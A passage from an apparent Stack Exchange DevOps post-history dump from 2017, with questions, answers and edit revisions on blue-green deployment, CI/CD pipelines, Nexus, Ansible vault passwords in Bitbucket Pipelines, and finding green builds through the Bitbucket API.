https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [3]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commits&#xD;&#xA;  [4]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commit/f25983afbdd4d09811fe750d53d3ff7a857f941b/statuses" ContentLicense="CC BY-SA 3.0" />
  <row Id="2621" PostHistoryTypeId="2" PostId="823" RevisionGUID="e77abb6d-5b5e-4be4-a0ab-a3ba517127c5" CreationDate="2017-04-09T06:39:41.733" UserId="2229" Text="I was told that they easy way out is to have two production branches, master/blue and master/green, git merge action triggers CI to deploy to the matching stacks. &#xD;&#xA;&#xD;&#xA;Is that possible to do it with single master branch? Please allow me to explain a bit more about our stacks.&#xD;&#xA;&#xD;&#xA;- CloudFront, origin set to S3 bucket which serves all the front-end SPA (single page app) static assets.&#xD;&#xA;- SPA app talks to AWS API Gateway, which connects AWS Lambda.&#xD;&#xA;- AWS Lambda is responsible for db CRUD operations with DynamoDB.&#xD;&#xA;- Front-end app and Lambda function each has their own Git repo, Git master branch merge action triggers 2 Circle CI jobs, one copy front-end assets to S3 bucket, the other deploys Lambda with serverless framework.&#xD;&#xA;&#xD;&#xA;For blue-green deploy, I'm thinking to have 2 instances of S3, API gateway and Lambda function. To make the blue-green switch, we'll need to change origin from one s3 bucket to another, then create invalidations to clear the cache.&#xD;&#xA;&#xD;&#xA;To make the single production git branch blue-green deployment to work, Circle CI needs to know is the current active stack is blue or green, copy &amp; paste / deploy to the other stack, if Circle CI is not able to do that, the alternative that I could think of is to somehow put the checkout_current_active_stack action in the git precommit hook? To be specifically:&#xD;&#xA;&#xD;&#xA;1. (in the git precommit hook) send out a HTTP request to the current active stack API (AWS lambda function, which keep track of the current stack information)&#xD;&#xA;2. deploy base on the return value ('blue' or 'green')&#xD;&#xA;&#xD;&#xA;Any hints would be greatly appreciated, thanks :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2622" PostHistoryTypeId="1" PostId="823" RevisionGUID="e77abb6d-5b5e-4be4-a0ab-a3ba517127c5" CreationDate="2017-04-09T06:39:41.733" UserId="2229" Text="How to implement blue-green deployment with one master branch" ContentLicense="CC BY-SA 3.0" />
  <row Id="2623" PostHistoryTypeId="3" PostId="823" RevisionGUID="e77abb6d-5b5e-4be4-a0ab-a3ba517127c5" CreationDate="2017-04-09T06:39:41.733" UserId="2229" Text="&lt;amazon-web-services&gt;&lt;circleci&gt;&lt;git-hooks&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2624" PostHistoryTypeId="2" PostId="824" RevisionGUID="895cdc9a-a407-4ba1-84cb-913e6f9fec98" CreationDate="2017-04-09T09:00:02.950" UserId="397" Text="It is always worth separating your Continuous Integration Build from your Continuous Deployment Deploy.  For the former CircleCI seems to be your tool of choice, for the latter I recommend using something like AWS CodeDeploy which natively supports [Blue-Green Deployments][1].&#xA;&#xA;  [1]: http://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-wizard-blue-green.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2625" PostHistoryTypeId="5" PostId="823" RevisionGUID="6347fb8d-b7e3-49f8-bfe1-c6f0fc61ad82" CreationDate="2017-04-09T09:18:32.987" UserId="14" Comment="No need to thank in advance—just upvote and accept good answers; misc. grammar" Text="I was told that they easy way out is to have two production branches, master/blue and master/green, git merge action triggers CI to deploy to the matching stacks. &#xD;&#xA;&#xD;&#xA;Is that possible to do it with single master branch? Please allow me to explain a bit more about our stacks.&#xD;&#xA;&#xD;&#xA;- CloudFront, origin set to S3 bucket which serves all the front-end SPA (single page app) static assets.&#xD;&#xA;- SPA app talks to AWS API Gateway, which connects AWS Lambda.&#xD;&#xA;- AWS Lambda is responsible for db CRUD operations with DynamoDB.&#xD;&#xA;- Front-end app and Lambda function each has their own Git repo, Git master branch merge action triggers 2 Circle CI jobs, one copy front-end assets to S3 bucket, the other deploys Lambda with serverless framework.&#xD;&#xA;&#xD;&#xA;For blue-green deploy, I'm thinking to have 2 instances of S3, API gateway and Lambda function. To make the blue-green switch, we'll need to change origin from one S3 bucket to another, then create invalidations to clear the cache.&#xD;&#xA;&#xD;&#xA;To make the single production git branch blue-green deployment to work, Circle CI needs to know is the current active stack is blue or green, copy &amp; paste / deploy to the other stack, if Circle CI is not able to do that, the alternative that I could think of is to somehow put the checkout_current_active_stack action in the git precommit hook? To be specific:&#xD;&#xA;&#xD;&#xA;1. (in the git precommit hook) send out a HTTP request to the current active stack API (AWS lambda function, which keep track of the current stack information)&#xD;&#xA;2. deploy base on the return value ('blue' or 'green')&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2626" PostHistoryTypeId="24" PostId="823" RevisionGUID="6347fb8d-b7e3-49f8-bfe1-c6f0fc61ad82" CreationDate="2017-04-09T09:18:32.987" Comment="Proposed by 14 approved by -1 edit id of 221" ContentLicense="CC BY-SA 3.0" />
  <row Id="2627" PostHistoryTypeId="5" PostId="823" RevisionGUID="3edf6f08-0e0b-44ff-ae87-85079cb86184" CreationDate="2017-04-09T09:18:32.987" UserId="40" Comment="Remove remaining noise" Text="I was told that they easy way out is to have two production branches, master/blue and master/green, git merge action triggers CI to deploy to the matching stacks. Is that possible to do it with single master branch?&#xD;&#xA;&#xD;&#xA;Some more details about our stacks.&#xD;&#xA;&#xD;&#xA;- CloudFront, origin set to S3 bucket which serves all the front-end SPA (single page app) static assets.&#xD;&#xA;- SPA app talks to AWS API Gateway, which connects AWS Lambda.&#xD;&#xA;- AWS Lambda is responsible for db CRUD operations with DynamoDB.&#xD;&#xA;- Front-end app and Lambda function each has their own Git repo, Git master branch merge action triggers 2 Circle CI jobs, one copy front-end assets to S3 bucket, the other deploys Lambda with serverless framework.&#xD;&#xA;&#xD;&#xA;For blue-green deploy, I'm thinking to have 2 instances of S3, API gateway and Lambda function. To make the blue-green switch, we'll need to change origin from one S3 bucket to another, then create invalidations to clear the cache.&#xD;&#xA;&#xD;&#xA;To make the single production git branch blue-green deployment to work, Circle CI needs to know is the current active stack is blue or green, copy &amp; paste / deploy to the other stack, if Circle CI is not able to do that, the alternative that I could think of is to somehow put the checkout_current_active_stack action in the git precommit hook? To be specific:&#xD;&#xA;&#xD;&#xA;1. (in the git precommit hook) send out a HTTP request to the current active stack API (AWS lambda function, which keep track of the current stack information)&#xD;&#xA;2. deploy base on the return value ('blue' or 'green')&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2628" PostHistoryTypeId="5" PostId="824" RevisionGUID="fb7e0210-be9d-4dfd-9733-716175404254" CreationDate="2017-04-09T11:47:32.377" UserId="397" Comment="Expanded upon answer" Text="It is worth separating your Continuous Integration &quot;Build&quot; from your Continuous Deployment &quot;Pipeline&quot;.  For the build portion, CircleCI seems to be your tool of choice, for the latter I recommend using something like AWS CodeDeploy which natively supports [Blue-Green Deployments][1], for completeness you can use CircleCI to orchestrate AWS CodeDeploy:&#xD;&#xA;&#xD;&#xA;[![Build and Deployment Pipeline][2]][2]&#xD;&#xA;&#xD;&#xA;Separating your pipeline phases has several benefits:&#xD;&#xA;&#xD;&#xA; 1. You only need to compile/test once from the `master` branch; then promote the packages through the Artefact Repository.&#xD;&#xA; 2. Your packages are stored forever in an Artefact Repository, for example [Sonartype Nexus][3] or [JFrog Artifactory][4], this means you can reproduce an old build as you have the specific packages used for deployment.&#xD;&#xA; 3. CodeDeploy will handle the release patterns for you without having to think too much about how to achieve Blue-Green Deployments.&#xD;&#xA;&#xD;&#xA;It is also worth stating that you can model the whole pipeline in [Application Release Automation][5] tools such as BuildMaster or Nolio.  Personally, I prefer to build my pipelines from multiple 3&lt;sup&gt;rd&lt;/sup&gt; party SaaS solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-wizard-blue-green.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/Zwsh1.png&#xD;&#xA;  [3]: https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [4]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Application_release_automation" ContentLicense="CC BY-SA 3.0" />
  <row Id="2629" PostHistoryTypeId="2" PostId="825" RevisionGUID="c681ee12-ac7e-48b9-903e-84109bc8eab3" CreationDate="2017-04-09T11:56:06.690" UserId="397" Text="Sonartype's Nexus 3 Pro [supports High Availability][1] through a couple of mechanisms that are collectively known as Component Fabric:&#xD;&#xA;&#xD;&#xA; - Peer-to-peer Repository Managers means there is no one master, also known as a single point of failure.  Packages are replicated between the nodes to ensure they are eventually consistent.&#xD;&#xA; - Storage Backends mean you can use high durability storage such as S3.&#xD;&#xA; - Dynamic Nodes enable auto-scaling support to increase capacity when demand is high and decrease it when demand is low to reduce costs.&#xD;&#xA;&#xD;&#xA;It's not really in Sonartype's interests to support HA for the community project as it would cannibalize some of the enterprise customers from their paid product.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/high-availability" ContentLicense="CC BY-SA 3.0" />
  <row Id="2630" PostHistoryTypeId="2" PostId="826" RevisionGUID="20005068-2d49-4c56-a752-b409e1eff7cb" CreationDate="2017-04-09T14:37:30.477" UserId="743" Text="We are less likely to see support of native docker-compose integration because pipelines API is a custom implementation of similar functionality, and also because possible security issues, but looks like more features are currently in development to implement more docker-compose-like features in [this][1] open issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/site/master/issues/12757/ability-to-run-multiple-docker-containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="2631" PostHistoryTypeId="2" PostId="827" RevisionGUID="a9d389a4-1ce6-43ca-9548-862eab5b2ab6" CreationDate="2017-04-09T16:03:48.677" UserId="2233" Text="We're building an application that reads data from an API and displays it in a frontend. Due to API limits, we have to cache the API calls meaning that we save the result of the API calls (both user information (first name, country, email etc.) and big sets of activity log data) in a database and only request new data from the API if the stored data is older than x hours.&#xD;&#xA;&#xD;&#xA;This application should also work for multiple users that can log in and see their relevant data. For each user, the application connects to a different API endpoint (e.g. &quot;user1.api.com/data/whatever&quot; and &quot;user2.api.com/data/whatever&quot;).&#xD;&#xA;&#xD;&#xA;So, in the end there will be two databases. One for caching the API calls of an external tool and another one for the application's user management. However, we are not sure what would be best to use.&#xD;&#xA;&#xD;&#xA;Is it generally a good idea to use cloud databases for either caching or user management? As the application will run on Google Container Engine, we could probably use Google Cloud Storage (for caching) and Firebase (for user management). Or should we rather use something like Redis / ElasticSearch (for caching) and something different for the different user data?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2632" PostHistoryTypeId="1" PostId="827" RevisionGUID="a9d389a4-1ce6-43ca-9548-862eab5b2ab6" CreationDate="2017-04-09T16:03:48.677" UserId="2233" Text="Google Cloud Storage vs Redis / ElasticSearch" ContentLicense="CC BY-SA 3.0" />
  <row Id="2633" PostHistoryTypeId="3" PostId="827" RevisionGUID="a9d389a4-1ce6-43ca-9548-862eab5b2ab6" CreationDate="2017-04-09T16:03:48.677" UserId="2233" Text="&lt;databases&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2634" PostHistoryTypeId="2" PostId="828" RevisionGUID="9376a4ca-7040-4729-9c21-523415593421" CreationDate="2017-04-09T20:35:35.373" UserId="47" Text="I don't know much about Redis/ElasticSearch, but GCS is not really a database-like solution, it is closer to a file storage solution.&#xD;&#xA;&#xD;&#xA;If you're looking for database-like storage Google Cloud offers:&#xD;&#xA;&#xD;&#xA;- [Cloud SQL][1]&#xD;&#xA;- [Cloud Bigtable][2]&#xD;&#xA;- [Cloud Datastore][3]&#xD;&#xA;- [Cloud Spanner (beta)][4]&#xD;&#xA;&#xD;&#xA;If you expect a modest app traffic or alternating high/low traffic it *might* be more cost-effective (and simpler) to have a [Google App Engine][5] app instead of a GCE-based solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/sql/&#xD;&#xA;  [2]: https://cloud.google.com/bigtable/&#xD;&#xA;  [3]: https://cloud.google.com/datastore/&#xD;&#xA;  [4]: https://cloud.google.com/spanner/&#xD;&#xA;  [5]: https://cloud.google.com/appengine/docs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2636" PostHistoryTypeId="5" PostId="825" RevisionGUID="de4875a4-936d-4786-b813-920c09e02e53" CreationDate="2017-04-10T08:45:29.910" UserId="397" Comment="deleted 2 characters in body" Text="Sonatype's Nexus 3 Pro [supports High Availability][1] through a couple of mechanisms that are collectively known as Component Fabric:&#xD;&#xA;&#xD;&#xA; - Peer-to-peer Repository Managers means there is no one master, also known as a single point of failure.  Packages are replicated between the nodes to ensure they are eventually consistent.&#xD;&#xA; - Storage Backends mean you can use high durability storage such as S3.&#xD;&#xA; - Dynamic Nodes enable auto-scaling support to increase capacity when demand is high and decrease it when demand is low to reduce costs.&#xD;&#xA;&#xD;&#xA;It's not really in Sonatype's interests to support HA for the community project as it would cannibalize some of the enterprise customers from their paid product.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/high-availability" ContentLicense="CC BY-SA 3.0" />
  <row Id="2637" PostHistoryTypeId="2" PostId="829" RevisionGUID="e21ca2f4-7705-43bd-8044-0d72b28285b0" CreationDate="2017-04-10T09:17:44.573" UserId="210" Text="Using&#xD;&#xA;&#xD;&#xA;    ansible-playbook site.yml --vault-password-file ./mypass.sh&#xD;&#xA;&#xD;&#xA;resulted in:&#xD;&#xA;&#xD;&#xA;    ERROR! Problem running vault password script / p a t h / t o&#xD;&#xA;    / e c h o _ v a u l t _ p a s s . s h ([Errno 8] Exec format error). If this is &#xD;&#xA;    not a script, remove the executable bit from the file.&#xD;&#xA;&#xD;&#xA;Based on [this post][1] the following was defined in bitbucket-pipelines:&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo $ANSIBLE_VAULT_PASSWORD &gt; .vault_password.txt&#xD;&#xA;              - ansible-playbook -i ansible/inventory ansible/site.yml --vault-password-file .vault_password.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kdelemme.com/2016/07/06/use-ansible-to-deploy-with-circleci/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2638" PostHistoryTypeId="5" PostId="753" RevisionGUID="f294a515-d380-4d2f-b860-764cbf53aa1d" CreationDate="2017-04-10T09:41:00.177" UserId="210" Comment="added 16 characters in body" Text="A solution is to remove all the content from the directory before removing it, e.g. `find /dir -delete &amp;&amp; rm -r dir`.&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; find /dir -delete &amp;&amp; rm -r dir&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; rm /dir/* &amp;&amp; rm -r dir&#xD;&#xA;     ---&gt; Running in 80297b9606a8&#xD;&#xA;    Connecting to google.com (172.217.17.78:80)&#xD;&#xA;    Connecting to www.google.nl (216.58.212.131:80)&#xD;&#xA;    index.html           100% |*******************************| 11000   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; 17bfced9b418&#xD;&#xA;    Removing intermediate container 80297b9606a8&#xD;&#xA;    Successfully built 17bfced9b418" ContentLicense="CC BY-SA 3.0" />
  <row Id="2639" PostHistoryTypeId="5" PostId="753" RevisionGUID="cf07680f-0213-4e6a-b36c-d0a94a1f8e86" CreationDate="2017-04-10T10:14:47.180" UserId="210" Comment="deleted 5 characters in body" Text="A solution is to remove all the content from the directory before removing it, e.g. `find /dir -delete &amp;&amp; rm -r dir`.&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; find /dir -delete &amp;&amp; rm -r dir&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; find /dir -delete&#xD;&#xA;     ---&gt; Running in ae35e5edb30a&#xD;&#xA;    Connecting to google.com (172.217.20.110:80)&#xD;&#xA;    Connecting to www.google.nl (172.217.20.99:80)&#xD;&#xA;    index.html           100% |*******************************| 11127   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; 6dc42787e9b3&#xD;&#xA;    Removing intermediate container ae35e5edb30a&#xD;&#xA;    Successfully built 6dc42787e9b3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2640" PostHistoryTypeId="2" PostId="830" RevisionGUID="ad615cad-efdf-46f1-976a-16520bd3c224" CreationDate="2017-04-10T11:31:10.320" UserId="1200" Text="Somewhere around I got to know about different approaches which were used to scale our webapp which included **Scaling using local request counters**. Below that they had written the drawbacks of this approach adding that &#xD;&#xA;&#xD;&#xA;&gt; Each instance would reach the threshold almost at the same time and&#xD;&#xA;&gt; hence each would demand a new instance, leading to a large number of&#xD;&#xA;&gt; instances even though the number should have increased by one only&#xD;&#xA;&#xD;&#xA;I was curious to know if there's a solution to this problem or any workaround ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2641" PostHistoryTypeId="1" PostId="830" RevisionGUID="ad615cad-efdf-46f1-976a-16520bd3c224" CreationDate="2017-04-10T11:31:10.320" UserId="1200" Text="Autocaling containers using local request counters" ContentLicense="CC BY-SA 3.0" />
  <row Id="2642" PostHistoryTypeId="3" PostId="830" RevisionGUID="ad615cad-efdf-46f1-976a-16520bd3c224" CreationDate="2017-04-10T11:31:10.320" UserId="1200" Text="&lt;containers&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2643" PostHistoryTypeId="4" PostId="830" RevisionGUID="58959f65-e3dc-4d64-b89d-7f33e89c8a4d" CreationDate="2017-04-10T12:14:44.557" UserId="47" Comment="fixed typo in title" Text="Autoscaling containers using local request counters" ContentLicense="CC BY-SA 3.0" />
  <row Id="2644" PostHistoryTypeId="2" PostId="831" RevisionGUID="b4ddde24-7aa2-40bb-bf24-6cd45aef5b78" CreationDate="2017-04-10T13:43:28.417" UserId="2245" Text="As a iOS developer, I was looking to create a CI and CCQ infrastructure for the iOS projects we have in development so far. We already use Jenkins and SonarQube for almost all the Web and Android projects (using a VM foreach project, installing and configuring the CI and CCQ is automated) and it works great. But for the iOS projects, Jenkins needs to do the build on a computer running macOS, so I am not sure I have the perfect solution for that. &#xD;&#xA;&#xD;&#xA; - I was looking into a solution to virtualise the macOS. For each&#xD;&#xA;   project, to create a virtual macOS and install Jenkins as slave there&#xD;&#xA;   to handle the builds. The solution looked perfect, but it seems it is&#xD;&#xA;   not legal to have more than 2 VM running with macOS (and of course,&#xD;&#xA;   only on Mac computer)&#xD;&#xA;   http://images.apple.com/legal/sla/docs/macOS1012.pdf -&gt; The point&#xD;&#xA;   2.B. So this isn't a solution for my case.&#xD;&#xA; - Another common solution I've read about is to have a Mac computer&#xD;&#xA;   (maybe a MacMini) that will handle all the builds for all the&#xD;&#xA;   projects. What do you think about this implementation? How many&#xD;&#xA;   projects may it handle? Developers may need to do some configurations&#xD;&#xA;   on their own project (especially in SonarQube), is it safe? &#xD;&#xA; - Can we have multiple Jenkins and SonarQube instances on the same machine, using different ports? Is this even a solution to be considered or I am talking non-sense?&#xD;&#xA; - Is there any other viable solution, maybe better than the ones above :) ? &#xD;&#xA;&#xD;&#xA;Note: I am not sticking to Jenkins + SonarQube duo, if there are any other tools better suitable for iOS development, please share them with me. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2645" PostHistoryTypeId="1" PostId="831" RevisionGUID="b4ddde24-7aa2-40bb-bf24-6cd45aef5b78" CreationDate="2017-04-10T13:43:28.417" UserId="2245" Text="Continuous Integration infrastructure for multiple iOS projects" ContentLicense="CC BY-SA 3.0" />
  <row Id="2646" PostHistoryTypeId="3" PostId="831" RevisionGUID="b4ddde24-7aa2-40bb-bf24-6cd45aef5b78" CreationDate="2017-04-10T13:43:28.417" UserId="2245" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2647" PostHistoryTypeId="5" PostId="790" RevisionGUID="80c575ce-dcf4-4ab8-9993-c85db35cbcf6" CreationDate="2017-04-10T15:11:34.497" UserId="960" Comment="added 335 characters in body" Text="Putting them both on the same server is certainly the easiest. However, I'd argue in a business situation you shouldn't be *able* to do it.&#xA;&#xA;A production database is one of the most important resources of a web app. It likely has much confidential data in it. It's also probably critical to the site's stability. So the production database credentials should be tightly controlled, and firewall rules should prevent access to it except from a small number of vetted machines. In addition to security considerations, the firewall rules also help prevent accidental test operations on the production database - if it can happen, it will sooner or later.&#xA;&#xA;Edit: Shortly after I originally wrote this answer, Digital Ocean (one of the largest hosting providers) [had an outage](https://www.digitalocean.com/company/blog/update-on-the-april-5th-2017-outage/) that would've been prevented if they had segmented their network appropriately. Learn their lesson instead of repeating the mistake." ContentLicense="CC BY-SA 3.0" />
  <row Id="2648" PostHistoryTypeId="2" PostId="832" RevisionGUID="e8bd41ba-ec7f-4066-a5d5-ac54f4d9ac1b" CreationDate="2017-04-10T17:00:53.070" UserId="397" Text="You don't make any mention of the language you want to use to consume the Jenkins API so I will talk specifically about the HTTP requests to the BitBucket API:&#xD;&#xA;&#xD;&#xA;If you have a [BitBucket Repository][1] that has three commits in in it the first and the last are failing the build, the middle is passing:&#xD;&#xA;&#xD;&#xA; - 4768815 ❌&#xD;&#xA; - 49d7110 ✅&#xD;&#xA; - 42d357f ❌&#xD;&#xA;&#xD;&#xA;You can get the list of commits by calling the following API method:&#xD;&#xA;&#xD;&#xA;&gt; `https://api.bitbucket.org/2.0/repositories/{{owner}}/{{repo_slug}}/commits`&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - `owner`: RichardSlater&#xD;&#xA;&gt;   - `repo_slug`: greencommitproofofconcept&#xD;&#xA;&#xD;&#xA;The response looks like this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;pagelen&quot;: 30,&#xD;&#xA;      &quot;values&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;4768815fdc27abf4be17096e7c460f7f68f5d39b&quot;,&#xD;&#xA;          &quot;repository&quot;: { ... },&#xD;&#xA;          &quot;links&quot;: {&#xD;&#xA;            ...&#xD;&#xA;            &quot;statuses&quot;: {&#xD;&#xA;              &quot;href&quot;: &quot;https://api.bitbucket.org/2.0/repositories/RichardSlater/greencommitproofofconcept/commit/4768815fdc27abf4be17096e7c460f7f68f5d39b/statuses&quot;&#xD;&#xA;            }&#xD;&#xA;          },&#xD;&#xA;          &quot;author&quot;: { ... },&#xD;&#xA;          &quot;parents&quot;: [ ... ],&#xD;&#xA;          &quot;date&quot;: &quot;2017-04-10T11:38:18+00:00&quot;,&#xD;&#xA;          &quot;message&quot;: &quot;README.md edited online with Bitbucket&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;commit&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;49d7110b98616358d16055960a4abdf2926b890d&quot;,&#xD;&#xA;          ...&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;42d357f1df7a7d7bcf1f10a9f3a5a40d85d5b11c&quot;,&#xD;&#xA;          ...&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you parse the JSON and loop over the responses you can extract out the statuses from:&#xD;&#xA;&#xD;&#xA;    values[n].links.statuses.href&#xD;&#xA;&#xD;&#xA;Where `n` is the index, i.e. `0`, `1` or `2` in the above example.  If you were to construct this from scratch it would be in the following format.&#xD;&#xA;&#xD;&#xA;&gt; `https://api.bitbucket.org/2.0/repositories/{{owner}}/{{repo_slug}}/commit/{{sha}}/statuses&quot;`&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - `owner`: RichardSlater&#xD;&#xA;&gt;   - `repo_slug`: greencommitproofofconcept&#xD;&#xA;&gt;   - `sha`: 4768815fdc27abf4be17096e7c460f7f68f5d39b&#xD;&#xA;&#xD;&#xA;**Note:** this is a Hypermedia API which means the urls *could* change so I would recommend using the links from the previous response rather than trying to generate them from scratch.&#xD;&#xA;&#xD;&#xA;The response from the above HTTP request will be something like:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;pagelen&quot;: 10,&#xD;&#xA;      &quot;values&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;key&quot;: &quot;POC-01&quot;,&#xD;&#xA;          &quot;name&quot;: &quot;Build #1&quot;,&#xD;&#xA;          &quot;repository&quot;: { ... },&#xD;&#xA;          &quot;url&quot;: &quot;http://devops.stackexchange.com/q/809/397&quot;,&#xD;&#xA;          &quot;links&quot;: { ... },&#xD;&#xA;          &quot;refname&quot;: null,&#xD;&#xA;          &quot;state&quot;: &quot;FAILED&quot;,&#xD;&#xA;          &quot;created_on&quot;: &quot;2017-04-10T13:04:28.261734+00:00&quot;,&#xD;&#xA;          &quot;updated_on&quot;: &quot;2017-04-10T13:04:28.261759+00:00&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;build&quot;,&#xD;&#xA;          &quot;description&quot;: &quot;Changes by Richard Slater&quot;&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;page&quot;: 1,&#xD;&#xA;      &quot;size&quot;: 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From this response you can extract the `state` using:&#xD;&#xA;&#xD;&#xA;    values[n].state&#xD;&#xA;&#xD;&#xA;Again where `n` is the `status` - there could be many of them if one commit resulted in many builds.&#xD;&#xA;&#xD;&#xA;If the state for the build you care about is `SUCCESSFUL` then you have your answer and you can immediately return the `sha` for the commit.&#xD;&#xA;&#xD;&#xA;Loop over all of the commits from the first phase, if you run out of commits follow the `next` page `link` that is included in the call to `/commits`.&#xD;&#xA;&#xD;&#xA;## Summary&#xD;&#xA;&#xD;&#xA;At a high level the flow will look like this:&#xD;&#xA;&#xD;&#xA;[![Flow Diagram][2]][2]&#xD;&#xA;&#xD;&#xA;Don't forget this is a [Hypermedia API][3] so wherever possible have your code follow the links in the API rather than trying to &quot;guess them&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/RichardSlater/greencommitproofofconcept&#xD;&#xA;  [2]: https://i.stack.imgur.com/IMe8G.png&#xD;&#xA;  [3]: https://looselyconnected.wordpress.com/2011/03/09/the-richardson-maturity-model-of-rest-and-roy-fielding/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2649" PostHistoryTypeId="5" PostId="822" RevisionGUID="ac489c9c-3b62-4b26-bc01-c09fb7920461" CreationDate="2017-04-10T17:02:10.660" UserId="397" Comment="Expanded Answer Hyperlinked" Text="In a typical Continuous Delivery/Deployment pipeline you would have the following happen:&#xD;&#xA;&#xD;&#xA; 1. Developer pushes one or more commits, or, a pull request is merged.&#xD;&#xA; 2. Jenkins automatically builds and executes tests.&#xD;&#xA; 3. If successful Jenkins publishes a deployment package to an Artefact Repository; if failure publishes nothing and notify developers.&#xD;&#xA; 4. Deployment automation uses packages from the Artefact Repository and deploys them.&#xD;&#xA;&#xD;&#xA;[![Simple CI/CD Pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;The goal is to avoid **building** the solution from source twice, you build it once and deploy it many times.  You can implement approvals in [Sonartype Nexus][2] to define the environment approval process, i.e. Dev → Test → UAT → Stage → Production.&#xD;&#xA;&#xD;&#xA;**That said...** if you have read all of the previous and still want to get the latest green build from source control then you can use one of two techniques:&#xD;&#xA;&#xD;&#xA; 1. Have Jenkins tag the branch with a suitably named tag, i.e. `master-green` then use that instead of `master` when you want the latest green build.&#xD;&#xA; 2. Use the BitBucket [commits][3] to get a list of commits and [commit/{sha}/statuses][4] over each one to find the commit with a Green status.  I have expanded on this solution in [another answer][5].&#xD;&#xA;&#xD;&#xA;Feel free to post a follow-up question if you would like the specific detail on how to use the above approaches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/xy8NS.png&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [3]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commits&#xD;&#xA;  [4]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commit/f25983afbdd4d09811fe750d53d3ff7a857f941b/statuses&#xD;&#xA;  [5]: http://devops.stackexchange.com/a/832/397" ContentLicense="CC BY-SA 3.0" />
